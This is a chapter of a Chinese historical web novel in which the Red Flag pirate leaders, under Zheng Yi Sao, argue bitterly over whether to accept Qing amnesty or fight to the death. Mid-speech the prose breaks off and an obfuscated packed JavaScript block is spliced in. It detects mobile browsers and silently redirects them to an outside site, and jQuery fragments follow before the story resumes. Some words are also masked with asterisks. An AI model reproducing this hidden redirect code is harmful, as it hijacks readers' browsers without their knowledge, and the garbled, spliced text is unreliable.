第一百七十一章 帮内大辩论

作品:《澳门风云--海上争霸300年

    “海龙号”的胜利并未在红旗帮内部带来持久的欢庆。胜利的喜悦如同退潮的海水,迅速被一种更深沉、更尖锐的焦虑和不确定性所取代。


    帝国的绞索并未因一次挫败而松开,反而以另一种更复杂、更无处不在的方式持续收紧。新水师改变了战术,大型战舰不再轻易涉险,而是像移动的堡垒般扼守要道,辅以无数快艇水勇,如同附骨之疽,不断进行骚扰和侦察,迫使红旗帮的舰队难以在一个地方久留,补给日益困难。


    而“坚壁清海”造成的窒息感,则随着时间的推移愈发强烈。新鲜的蔬菜水果成了奢侈品,淡水的补充变得提心吊胆且次数稀少,受伤的兄弟得不到有效的医治,破损的战船只能进行最简单的应急修补。


    更让人心寒的是,那些原本暗中提供情报、偶尔进行交易的沿海联络点,如今要么化为废墟,要么彻底断了音信。他们仿佛成了一支游离于世界之外的孤军,被困在无边无际的、逐渐失去滋养的蓝色荒漠之上。


    与此同时,那些关于“招安”的流言,却像海上的浓雾一样,非但没有被风吹散,反而越来越浓,越来越具体。不再是空穴来风,而是有了确切的条件:高官厚禄,赦免罪行,甚至允许保留部分兵权……


    这些消息通过各种隐秘的渠道——被捕获的清军官兵、试图重新建立联系的走私贩子、甚至某些头目私下接触的“神秘人物”——丝丝缕缕地渗透进来,在每一艘船、每一个水手之间悄悄流传,撩拨着人们内心最深处的求生欲和对未来的幻想。


    压抑的气氛需要一个宣泄的出口,**的倾向需要一次彻底的摊牌。终于,在郑一嫂的默许下,红旗帮所有有头有脸的人物——各分舰队的首领、资历深厚的老舵工、掌管钱粮物资的核心人员——都被召集到了“海龙号”那宽敞却此刻显得异常拥挤的忠义堂内。


    忠义堂内,海神妈祖和关圣帝君的神像在烛火映照下肃穆而立,但弥漫在空气中的,却不是往日的同仇敌忾与兄弟义气,而是一种几乎令人窒息的凝重与躁动。浓烈的烟草味、汗味和海风的咸腥味混合在一起。人们三五成群,低声交谈,眼神闪烁,声音压抑而急切。


    郑一嫂端坐在主位的虎皮大椅上,面色平静,看不出喜怒。她一身利落的黑衣,目光如电,缓缓扫过堂下每一张或熟悉或焦虑的面孔。张保按刀立于她的身侧,身姿笔挺,年轻的脸庞上带着与年龄不符的沉郁,他的目光与几位交好的少壮派头领偶尔接触,交换着心照不宣的眼神。


    会议伊始,一位脾气火爆、脸上带着刀疤的老资格头目“崩牙巨”便猛地一拍桌子,豁然起身,声如洪钟:


    “招安?招个鸟安!朝廷的鬼话也能信?那是黄鼠狼给鸡拜年,没安好心!咱们杀了多少官兵,劫了多少漕船,打了广州城多少脸!朝廷会真心放过我们?不过是骗我们上岸,卸了咱们的刀,然后再一个个收拾!老子宁愿战死在海里,喂了王八,也绝不向那些狗官低头!”


    他的话立刻引来一批强硬派的附和。


    “巨哥说得对!上了岸就是砧板上的肉!”


    “咱们红旗帮纵横四海,怕过谁?朝廷有炮,咱们也有刀!”


    “别忘了龙哥是**的!忘了咱们多少兄弟死在官兵手里?这血海深仇,能一笔勾销?”


    “接受招安,就是对不住死去的兄弟!就是孬种!”


    群情激愤,仿佛一点就炸。然而,等这阵喧嚣稍稍平息,一个冷静甚至带着几分疲惫的声音响了起来。说话的是掌管后勤、素以精明务实著称的头目“算盘陈”。


    “巨哥,各位兄弟,喊打喊杀,谁不会?”


    算盘陈推了推鼻梁上的水晶眼镜(那是某次劫掠的战利品),声音不高,却清晰地压过了嘈杂:


    “可咱们得看看现实!看看咱们现在是什么光景!船上的粮食还能撑多久?受伤的兄弟有多少因为缺药烂掉了胳膊腿?咱们的船破了,能找到地方修吗?岸上现在是什么样子,你们难道不知道?五十里无人区!咱们成了没脚的螃蟹,再厉害,能在这海上漂一辈子吗?”


    他顿了顿,目光扫过那些沉默下来的人,继续道:


    “是,朝廷可能没安好心。但眼下给出的条件,是实实在在的。高官厚禄,既往不咎。张保兄弟这样的,说不定真能当上朝廷的大将!咱们这些老兄弟,就算不想当官,拿笔安家费,回乡买几亩地,娶个婆娘,安安稳稳过日子,不好吗?非得天天把脑袋别在裤腰带上,说不定明天就喂了鱼?”


    他的话音未落,张保上前一步,他的声音沉稳,却带着一种不容置疑的力量,瞬间吸引了所有人的目光。


    “陈叔的话,在理。”


    张保开口,先肯定了算盘陈的现实考量,这让原本有些紧张的气氛稍微缓和:


    “兄弟们,我不是怕死。若怕死,我张保活不到今天。但我们不能只想着自己痛快,想着报仇雪恨。我们得为手下几千上万的兄弟想一想,为他们身后的家眷想一想!”


    他的目光扫过全场,声音提高了几分:


    “继续打下去,我们有几分胜算?朝廷可以败十次,一百次,但它有的是钱粮兵源。我们呢?我们败一次,就可能万劫不复!是,我们可以死,死得轰轰烈烈。可然后呢?那些跟着我们出生入死的兄弟,他们的爹娘谁养?他们的妻儿谁顾?难道要让他们全都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884283|187011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    跟着我们葬身海底,或者被朝廷抓去千刀万剐吗?”


    “接受招安,或许是条险路。但至少,是一条活路!是一条能给兄弟们、给家眷们谋个出身、谋条活路的路子!我们可以借此洗白身份,堂堂正正做人!”


    “甚至,像陈叔说的,若真能掌了兵权,未尝不能在这体制内,为咱们自己、为咱们的后人,争得一份真正的保障和前程!这难道不比现在这样,被永远钉在海盗的耻辱柱上,最终走向毁灭要强吗?”


    张保的话,句句砸在现实和情感的软肋上,尤其是那些早已厌倦了漂泊厮杀、内心渴望安稳的头目,以及那些惦念着不知死活的家眷的人们,都不由得低下了头,面露挣扎之色。


    “放屁!”


    崩牙巨再次怒吼,指着张保的鼻子,“张保!你小子是不是被朝廷的官帽迷了心窍?忘了你自己是谁了?忘了你是怎么上的船?现在倒替朝廷说起话来了!咱们红旗帮的‘忠义’二字,就是教你带着兄弟们去给仇人当狗的吗?!”


    “我不是去当狗!”


    张保毫不畏惧地迎着他的目光,眼中也燃起了火焰,“我是想给兄弟们找一条能上岸的路!一条能活下去的路!这难道不是最大的‘义’吗?难道非要拖着所有人一起死,才是‘忠’于红旗帮吗?!”


    “你!”


    “够了!”


    眼看争论即将升级为内讧,一直沉默不语的郑一嫂终于开口。声音不高,却带着绝对的权威,瞬间压下了所有的嘈杂。


    她缓缓站起身,目光冷冽地扫过崩牙巨,又深深看了一眼张保,最后望向堂下所有神色各异、心思浮动的头领们。


    “招安,还是死战?”


    她一字一顿,声音清晰地在死寂的忠义堂内回荡,“这不是小孩子吵架。这事关我红旗帮上下数万人的生死存亡,事关我们所有人的身家性命和身后名声。”


    “今日之议,不必立刻有结果。都把话听进心里去,自己掂量清楚。”她的目光锐利如刀,“但有一条,谁若敢未经许可,私下与朝廷接触,暗通款曲……”


    她没有说下去,但那双冰冷眸子里蕴含的杀意,让所有人都不寒而栗。


    “散了吧。”


    她挥了挥手,疲惫地坐回椅中,“各自管好手下的人。是战是和,何去何从……我,自有决断。”


    众人面面相觑,心中波澜起伏,却无人再敢多言,只能怀着复杂的心思,默默地依次退出忠义堂。激烈的争论暂时平息,但更深的**与抉择,却已如同种子,埋在了每个人的心底。


    堂内,只剩下郑一嫂,和她身后神色复杂的张保。巨大的压力,如同窗外阴沉的海天,沉重地压了下来。